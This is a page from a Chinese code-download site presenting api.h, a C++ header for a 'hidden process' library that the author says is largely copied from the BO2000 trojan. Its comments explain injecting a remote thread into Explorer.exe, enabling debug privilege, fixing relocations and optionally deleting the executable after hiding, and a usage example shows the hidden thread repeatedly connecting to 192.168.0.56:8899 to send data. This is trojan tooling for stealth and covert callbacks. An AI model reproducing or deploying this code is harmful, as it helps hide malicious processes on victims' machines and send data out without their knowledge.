⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 api.h

📁 隐藏进程代码
💻 H
字号:
#if !defined(AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_)
#define AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
//#include "lsocket.h"
#include "stdio.h"
#include<windows.h>
#include<TlHelp32.h>
//----------------------------------------------------------------
// Debug Message Box
//----------------------------------------------------------------
#ifdef _DEBUG
#define DMsgBox(lpText)						 MessageBox(NULL,lpText,NULL,NULL)
#else
#define DMsgBox(lpText)
#endif

//----------------------------------------------------------------
// USE for PE file formate
//----------------------------------------------------------------
#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD))
#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)))

#define MAX_PROCESS_FIND 100

class CAPI  
{
/***********************************************************************
program by bigbencat
mail: liguangyu@china.com
************************************************************
前言:
	"BO 出现以后,世界上便出现了千千万万的木马!"
申明:
	本代码大多数copy from bo2000!
************************************************************
衷心的希望大家认同:
	代码是用来相互学习的,不要用来干坏事!

但经过改进:
	bo2000隐藏进程缺点:
		1: bo2000 不能动态更换自己的基地址 
		2: b02000 在 windows 2000/XP/2003 server 中以USER right 工作不稳定,容易使系统Explorer崩溃,
					导致隐藏不成功!
		3: bo2000 中进程隐藏代码部分不太容易于自己的代码共享!

bo2000 
	需要在vc中 add Project Settings-->Link-->  add  /base:"0x03140000" 
本代码需要:
	需要在vc中 add Project Settings-->Link-->  add  /FIXED:NO

本代码测试过并稳定成功的操作系统:
	win98 cn/win me cn/2000 server cn/XP cn/2003 server en
	本人认为win 95/NT/2000 专业版 也应该没有问题。

技术问题:
	bo2000用到的技术:
		1:API函数覆盖技术(95/98/me)
		2:远程线程技术 (nt/2000)
	本程序增加的技术
		1:软件重定位技术(Relocation),解决user right下不稳定的情况
		如果需要,可以在隐藏后删除可执行文件,也就是解决程序自杀的问题


how to use:
1:
	Project Settings-->Link-->  add  /FIXED:NO 
	
2:
#include "API.h"
CAPI g_api;

3:
DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter)
{
	g_api.ReloadDLL();
	char *sz={"这里是要发送的数据!"};
	while(TRUE)
	{
		Beep(300,1000);
		Sleep(1000);
		CLSocket sock;
		sock.Create();
		sock.Connect("192.168.0.56",8899);
		sock.Send(sz,strlen(sz));
		sock.Close();
		//connect()
	}
	return 0;
}

4:
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
	if(g_api.HideProcessIn("Explorer.exe",MyNtRemoteThreadMain))
	{
		DMsgBox("run ok");
	}
	else
		DMsgBox("run error");
	return TRUE;
}
******************************************************************************/
public:
	void ReloadDLL();
	BOOL HideProcessIn(char* szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess,BOOL bNtHideAll=FALSE);
	CAPI();
	virtual ~CAPI();
private:
	BOOL FixRelocationTable(char* szBuf,long lLen,unsigned long lMyBase,unsigned long lNewBase);
	BOOL FixRelocationTable2(char* szBuf,long lLen,unsigned long lMyBase,unsigned long lNewBase);
	long HideProcessInNT_2_All(LPTHREAD_START_ROUTINE pMyMainProcess);
	struct _s_process_info_{
		char szName[MAX_PROCESS_FIND][MAX_PATH];
		unsigned long lProcessID[MAX_PROCESS_FIND];
	};
	Init();
	long GetAll(_s_process_info_* spInfo);
	long GetNTProcessIDbyName(char* szName);
	void GetOSVersion(void);
	BOOL m_bIsWinNT;	//是否为 2000/NT
	HMODULE m_module;//本模块句并 GetModuleHandle
	BOOL HideProcessInNT(char* szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess);
	BOOL HideProcessInNTbyID(unsigned long lProcessID,LPTHREAD_START_ROUTINE pMyMainProcess);
	BOOL HideProcessIn9X(LPTHREAD_START_ROUTINE pMyMainProcess);
	BOOL EnableDebugPriv();
};

#endif // !defined(AFX_API_H__6665DF87_FB33_45FE_B15C_8FE15D2A832B__INCLUDED_)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -